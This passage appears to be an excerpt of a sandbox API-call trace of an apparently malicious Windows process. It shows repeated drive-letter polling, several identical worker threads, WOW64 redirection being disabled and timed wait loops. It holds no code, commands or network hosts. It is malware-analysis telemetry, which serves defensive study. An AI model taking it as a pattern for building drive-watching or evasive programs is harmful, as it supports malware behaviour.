GetLogicalDrives () returned 0x4 [0268.773] Sleep (dwMilliseconds=0x64) [0269.097] GetLogicalDrives () returned 0x4 [0269.098] Sleep (dwMilliseconds=0x64) [0269.763] GetLogicalDrives () returned 0x4 [0269.767] Sleep (dwMilliseconds=0x64) [0270.384] GetLogicalDrives () returned 0x4 [0270.384] Sleep (dwMilliseconds=0x64) [0270.690] GetLogicalDrives () returned 0x4 [0270.690] Sleep (dwMilliseconds=0x64) [0271.046] GetLogicalDrives () returned 0x4 [0271.046] Sleep (dwMilliseconds=0x64) [0271.237] GetLogicalDrives () returned 0x4 [0271.237] Sleep (dwMilliseconds=0x64) [0271.741] GetLogicalDrives () returned 0x4 [0271.741] Sleep (dwMilliseconds=0x64) [0272.014] GetLogicalDrives () returned 0x4 [0272.014] Sleep (dwMilliseconds=0x64) [0272.433] GetLogicalDrives () returned 0x4 [0272.433] Sleep (dwMilliseconds=0x64) [0272.822] GetLogicalDrives () returned 0x4 [0272.822] Sleep (dwMilliseconds=0x64) [0273.134] GetLogicalDrives () returned 0x4 [0273.134] Sleep (dwMilliseconds=0x64) [0273.568] GetLogicalDrives () returned 0x4 [0273.568] Sleep (dwMilliseconds=0x64) [0273.799] GetLogicalDrives () returned 0x4 [0273.799] Sleep (dwMilliseconds=0x64) [0274.257] GetLogicalDrives () returned 0x4 [0274.257] Sleep (dwMilliseconds=0x64) [0274.500] GetLogicalDrives () returned 0x4 [0274.500] Sleep (dwMilliseconds=0x64) [0274.795] GetLogicalDrives () returned 0x4 [0274.797] Sleep (dwMilliseconds=0x64) [0274.929] GetLogicalDrives () returned 0x4 [0274.929] Sleep (dwMilliseconds=0x64) [0275.393] GetLogicalDrives () returned 0x4 [0275.393] Sleep (dwMilliseconds=0x64) [0275.900] GetLogicalDrives () returned 0x4 [0275.900] Sleep (dwMilliseconds=0x64) [0276.431] GetLogicalDrives () returned 0x4 [0276.432] Sleep (dwMilliseconds=0x64) [0276.659] GetLogicalDrives () returned 0x4 [0276.659] Sleep (dwMilliseconds=0x64) [0276.885] GetLogicalDrives () returned 0x4 [0276.885] Sleep (dwMilliseconds=0x64) [0277.174] GetLogicalDrives () returned 0x4 [0277.174] Sleep (dwMilliseconds=0x64) [0277.306] GetLogicalDrives () returned 0x4 [0277.306] Sleep (dwMilliseconds=0x64) [0277.453] GetLogicalDrives () returned 0x4 [0277.453] Sleep (dwMilliseconds=0x64) [0277.579] GetLogicalDrives () returned 0x4 [0277.579] Sleep (dwMilliseconds=0x64) [0277.689] GetLogicalDrives () returned 0x4 [0277.689] Sleep (dwMilliseconds=0x64) [0277.798] GetLogicalDrives () returned 0x4 [0277.798] Sleep (dwMilliseconds=0x64) [0277.907] GetLogicalDrives () returned 0x4 [0277.907] Sleep (dwMilliseconds=0x64) [0278.047] GetLogicalDrives () returned 0x4 [0278.048] Sleep (dwMilliseconds=0x64) [0278.157] GetLogicalDrives () returned 0x4 [0278.157] Sleep (dwMilliseconds=0x64) [0278.271] GetLogicalDrives () returned 0x4 [0278.271] Sleep (dwMilliseconds=0x64) [0278.375] GetLogicalDrives () returned 0x4 [0278.376] Sleep (dwMilliseconds=0x64) [0278.486] GetLogicalDrives () returned 0x4 [0278.486] Sleep (dwMilliseconds=0x64) [0278.595] GetLogicalDrives () returned 0x4 [0278.595] Sleep (dwMilliseconds=0x64) [0278.703] GetLogicalDrives () returned 0x4 [0278.703] Sleep (dwMilliseconds=0x64) [0278.875] GetLogicalDrives () returned 0x4 [0278.875] Sleep (dwMilliseconds=0x64) [0280.509] GetLogicalDrives () returned 0x4 [0280.509] Sleep (dwMilliseconds=0x64) [0280.984] GetLogicalDrives () returned 0x4 [0280.984] Sleep (dwMilliseconds=0x64) [0281.124] GetLogicalDrives () returned 0x4 [0281.124] Sleep (dwMilliseconds=0x64) [0281.402] GetLogicalDrives () returned 0x4 [0281.402] Sleep (dwMilliseconds=0x64) [0281.657] GetLogicalDrives () returned 0x4 [0281.657] Sleep (dwMilliseconds=0x64) [0281.887] GetLogicalDrives () returned 0x4 [0281.887] Sleep (dwMilliseconds=0x64) [0282.035] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0282.035] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6878b0 | out: hHeap=0x670000) returned 1 Thread: id = 35 os_tid = 0xdc4 [0217.130] GetTickCount () returned 0x113fb4e [0217.130] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x24) returned 0x685658 [0217.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x685658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280 [0217.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x685658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c [0217.131] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x685658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284 [0217.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x685658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288 [0217.132] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5af0 [0217.132] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c5af0, Size=0x20) returned 0x6ad598 [0217.132] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5bb0 [0217.132] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c5bb0, Size=0x20) returned 0x6ad7a0 [0217.133] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0217.133] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0217.133] Wow64DisableWow64FsRedirection (in: OldValue=0x284ff7c | out: OldValue=0x284ff7c*=0x0) returned 1 [0217.133] lstrlenW (lpString="kernel32.dll") returned 12 [0217.133] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad598 | out: hHeap=0x670000) returned 1 [0217.133] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0217.133] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad7a0 | out: hHeap=0x670000) returned 1 [0217.133] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x6b4fc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c [0217.134] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0217.316] GetTickCount () returned 0x113fc09 [0217.316] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0217.435] GetTickCount () returned 0x113fc86 [0217.435] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0217.544] GetTickCount () returned 0x113fcf4 [0217.544] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0217.657] GetTickCount () returned 0x113fd61 [0217.657] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0217.805] GetTickCount () returned 0x113fdee [0217.805] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0218.022] GetTickCount () returned 0x113fec9 [0218.022] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0218.159] GetTickCount () returned 0x113ff55 [0218.159] GetTickCount () returned 0x113ff55 [0218.159] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0218.276] GetTickCount () returned 0x113ffc3 [0218.276] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0218.378] GetTickCount () returned 0x1140030 [0218.378] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0218.482] GetTickCount () returned 0x114009d [0218.482] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0218.607] GetTickCount () returned 0x114011a [0218.607] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0218.723] GetTickCount () returned 0x1140188 [0218.723] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0218.828] GetTickCount () returned 0x11401f5 [0218.828] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0218.935] GetTickCount () returned 0x1140262 [0218.935] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0219.043] GetTickCount () returned 0x11402d0 [0219.043] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0219.152] GetTickCount () returned 0x114033d [0219.152] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0219.284] GetTickCount () returned 0x11403ba [0219.284] GetTickCount () returned 0x11403ba [0219.284] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0219.437] GetTickCount () returned 0x1140456 [0219.437] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0222.569] GetTickCount () returned 0x114108b [0222.569] GetTickCount () returned 0x114108b [0222.569] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0222.997] GetTickCount () returned 0x1141231 [0222.997] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0223.278] GetTickCount () returned 0x114134b [0223.278] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0223.560] GetTickCount () returned 0x1141464 [0223.560] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0223.790] GetTickCount () returned 0x114154e [0223.790] GetTickCount () returned 0x114154e [0223.790] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0224.005] GetTickCount () returned 0x1141629 [0224.007] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0224.322] GetTickCount () returned 0x1141761 [0224.322] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0224.813] GetTickCount () returned 0x1141955 [0224.813] GetTickCount () returned 0x1141955 [0224.813] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0225.165] GetTickCount () returned 0x1141aad [0225.165] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0225.530] GetTickCount () returned 0x1141c15 [0225.530] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0225.769] GetTickCount () returned 0x1141d0f [0225.769] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0226.146] GetTickCount () returned 0x1141e86 [0226.146] GetTickCount () returned 0x1141e86 [0226.146] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0226.553] GetTickCount () returned 0x114201c [0226.553] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0227.034] GetTickCount () returned 0x1142200 [0227.034] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0227.641] GetTickCount () returned 0x1142462 [0227.641] GetTickCount () returned 0x1142462 [0227.641] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0228.049] GetTickCount () returned 0x11425f8 [0228.049] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0228.545] GetTickCount () returned 0x11427ec [0228.545] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0228.804] GetTickCount () returned 0x11428e6 [0228.804] GetTickCount () returned 0x11428e6 [0228.804] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0228.910] GetTickCount () returned 0x1142953 [0228.910] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0229.064] GetTickCount () returned 0x11429ef [0229.064] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0229.546] GetTickCount () returned 0x1142bd4 [0229.546] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0229.736] GetTickCount () returned 0x1142c8f [0229.736] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0230.086] GetTickCount () returned 0x1142de7 [0230.086] GetTickCount () returned 0x1142de7 [0230.086] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0230.375] GetTickCount () returned 0x1142f00 [0230.375] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0230.473] GetTickCount () returned 0x1142f6e [0230.473] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0230.594] GetTickCount () returned 0x1142fdb [0230.594] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0230.692] GetTickCount () returned 0x1143048 [0230.692] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0230.908] GetTickCount () returned 0x1143114 [0230.908] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0231.021] GetTickCount () returned 0x1143191 [0231.021] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0231.146] GetTickCount () returned 0x114320e [0231.146] GetTickCount () returned 0x114320e [0231.146] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0231.256] GetTickCount () returned 0x114327b [0231.256] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0231.653] GetTickCount () returned 0x1143402 [0231.653] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0231.980] GetTickCount () returned 0x114354a [0231.980] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0232.151] GetTickCount () returned 0x11435f6 [0232.151] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0232.366] GetTickCount () returned 0x11436d0 [0232.366] GetTickCount () returned 0x11436d0 [0232.366] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0232.542] GetTickCount () returned 0x114377c [0232.542] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0232.725] GetTickCount () returned 0x1143838 [0232.725] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0233.160] GetTickCount () returned 0x11439ed [0233.160] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0233.661] GetTickCount () returned 0x1143be1 [0233.661] GetTickCount () returned 0x1143be1 [0233.661] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0234.117] GetTickCount () returned 0x1143da6 [0234.117] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0234.715] GetTickCount () returned 0x1143ff8 [0234.715] GetTickCount () returned 0x1143ff8 [0234.715] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0235.239] GetTickCount () returned 0x114420b [0235.239] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0235.784] GetTickCount () returned 0x114441f [0235.784] GetTickCount () returned 0x114441f [0235.784] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0236.082] GetTickCount () returned 0x1144547 [0236.082] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0238.274] GetTickCount () returned 0x1144de3 [0238.274] GetTickCount () returned 0x1144de3 [0238.274] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0238.715] GetTickCount () returned 0x1144f98 [0238.715] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0239.363] GetTickCount () returned 0x1145228 [0239.364] GetTickCount () returned 0x1145228 [0239.364] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0240.049] GetTickCount () returned 0x11454d8 [0240.049] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0240.374] GetTickCount () returned 0x1145620 [0240.375] GetTickCount () returned 0x1145620 [0240.375] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0240.826] GetTickCount () returned 0x11457e5 [0240.827] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0241.920] GetTickCount () returned 0x1145c2b [0241.920] GetTickCount () returned 0x1145c2b [0241.920] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0242.250] GetTickCount () returned 0x1145d73 [0242.250] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0242.456] GetTickCount () returned 0x1145e3e [0242.456] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0242.585] GetTickCount () returned 0x1145ebb [0242.585] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0242.713] GetTickCount () returned 0x1145f38 [0242.713] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0243.340] GetTickCount () returned 0x11461b9 [0243.340] GetTickCount () returned 0x11461b9 [0243.340] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0243.622] GetTickCount () returned 0x11462d2 [0243.622] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0244.076] GetTickCount () returned 0x1146497 [0244.076] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0244.349] GetTickCount () returned 0x11465a1 [0244.349] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0244.601] GetTickCount () returned 0x114669b [0244.601] GetTickCount () returned 0x114669b [0244.601] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0244.754] GetTickCount () returned 0x1146737 [0244.754] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0244.948] GetTickCount () returned 0x11467f2 [0244.948] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0245.415] GetTickCount () returned 0x11469d7 [0245.415] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0246.135] GetTickCount () returned 0x1146c96 [0246.135] GetTickCount () returned 0x1146c96 [0246.135] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0247.004] GetTickCount () returned 0x1147001 [0247.004] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0247.458] GetTickCount () returned 0x11471c6 [0247.459] GetTickCount () returned 0x11471c6 [0247.459] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0248.365] GetTickCount () returned 0x1147550 [0248.365] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0248.578] GetTickCount () returned 0x114762b [0248.578] GetTickCount () returned 0x114762b [0248.578] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0248.780] GetTickCount () returned 0x11476f6 [0248.780] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0249.023] GetTickCount () returned 0x11477e1 [0249.023] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0249.294] GetTickCount () returned 0x11478fa [0249.294] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0249.540] GetTickCount () returned 0x11479e4 [0249.540] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0249.870] GetTickCount () returned 0x1147b3c [0249.870] GetTickCount () returned 0x1147b3c [0249.870] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0250.436] GetTickCount () returned 0x1147d5f [0250.437] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0250.630] GetTickCount () returned 0x1147e2a [0250.630] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0250.964] GetTickCount () returned 0x1147f72 [0250.964] GetTickCount () returned 0x1147f72 [0250.964] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0251.285] GetTickCount () returned 0x11480ba [0251.285] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0251.588] GetTickCount () returned 0x11481e3 [0251.588] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0251.983] GetTickCount () returned 0x114836a [0251.983] GetTickCount () returned 0x114836a [0251.983] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0252.613] GetTickCount () returned 0x11485ea [0252.613] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0253.077] GetTickCount () returned 0x11487af [0253.077] GetTickCount () returned 0x11487af [0253.077] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0253.279] GetTickCount () returned 0x114887b [0253.279] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0253.445] GetTickCount () returned 0x1148926 [0253.445] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0253.602] GetTickCount () returned 0x11489c3 [0253.602] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0253.724] GetTickCount () returned 0x1148a40 [0253.724] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0253.838] GetTickCount () returned 0x1148aad [0253.838] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0253.944] GetTickCount () returned 0x1148b1a [0253.944] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0254.051] GetTickCount () returned 0x1148b88 [0254.052] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0254.161] GetTickCount () returned 0x1148bf5 [0254.161] GetTickCount () returned 0x1148bf5 [0254.161] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0254.270] GetTickCount () returned 0x1148c63 [0254.270] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0254.379] GetTickCount () returned 0x1148cd0 [0254.379] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0254.515] GetTickCount () returned 0x1148d4d [0254.515] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0254.621] GetTickCount () returned 0x1148dba [0254.621] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0254.813] GetTickCount () returned 0x1148e85 [0254.813] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0255.057] GetTickCount () returned 0x1148f7f [0255.057] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0255.243] GetTickCount () returned 0x114903b [0255.243] GetTickCount () returned 0x114903b [0255.243] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0255.427] GetTickCount () returned 0x11490e7 [0255.427] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0255.736] GetTickCount () returned 0x114921f [0255.736] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0256.034] GetTickCount () returned 0x1149348 [0256.034] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0256.317] GetTickCount () returned 0x1149461 [0256.317] GetTickCount () returned 0x1149461 [0256.317] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0256.692] GetTickCount () returned 0x11495d8 [0256.692] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0257.114] GetTickCount () returned 0x114977e [0257.114] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0257.278] GetTickCount () returned 0x114982a [0257.278] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0257.887] GetTickCount () returned 0x1149a7c [0257.887] GetTickCount () returned 0x1149a7c [0257.887] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0258.558] GetTickCount () returned 0x1149d2b [0258.558] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0258.813] GetTickCount () returned 0x1149e25 [0258.813] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0259.609] GetTickCount () returned 0x114a142 [0259.609] GetTickCount () returned 0x114a142 [0259.609] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0259.841] GetTickCount () returned 0x114a22d [0259.841] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0260.088] GetTickCount () returned 0x114a327 [0260.088] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0260.351] GetTickCount () returned 0x114a430 [0260.351] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0260.624] GetTickCount () returned 0x114a53a [0260.624] GetTickCount () returned 0x114a53a [0260.624] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0260.807] GetTickCount () returned 0x114a5f5 [0260.807] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0260.966] GetTickCount () returned 0x114a692 [0260.966] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0261.155] GetTickCount () returned 0x114a74d [0261.155] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0261.488] GetTickCount () returned 0x114a895 [0261.488] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0261.853] GetTickCount () returned 0x114aa0c [0261.853] GetTickCount () returned 0x114aa0c [0261.854] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0262.148] GetTickCount () returned 0x114ab35 [0262.149] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0262.272] GetTickCount () returned 0x114abb2 [0262.272] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0262.636] GetTickCount () returned 0x114ad1a [0262.636] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0262.844] GetTickCount () returned 0x114ade5 [0262.844] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0263.232] GetTickCount () returned 0x114af6b [0263.232] GetTickCount () returned 0x114af6b [0263.232] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0263.861] GetTickCount () returned 0x114b1dc [0263.861] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0264.257] GetTickCount () returned 0x114b373 [0264.257] GetTickCount () returned 0x114b373 [0264.257] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0264.638] GetTickCount () returned 0x114b4ea [0264.638] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0264.969] GetTickCount () returned 0x114b632 [0264.969] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0265.366] GetTickCount () returned 0x114b7c8 [0265.366] GetTickCount () returned 0x114b7c8 [0265.366] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0265.801] GetTickCount () returned 0x114b96e [0265.801] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0266.134] GetTickCount () returned 0x114bac6 [0266.134] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0266.431] GetTickCount () returned 0x114bbee [0266.431] GetTickCount () returned 0x114bbee [0266.431] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0266.695] GetTickCount () returned 0x114bcf8 [0266.695] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0267.131] GetTickCount () returned 0x114beae [0267.131] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0267.571] GetTickCount () returned 0x114c063 [0267.571] GetTickCount () returned 0x114c063 [0267.571] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0268.052] GetTickCount () returned 0x114c247 [0268.053] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0268.336] GetTickCount () returned 0x114c361 [0268.336] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0268.563] GetTickCount () returned 0x114c43b [0268.563] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0268.774] GetTickCount () returned 0x114c516 [0268.774] GetTickCount () returned 0x114c516 [0268.774] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0269.092] GetTickCount () returned 0x114c64f [0269.093] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0269.756] GetTickCount () returned 0x114c8ef [0269.756] 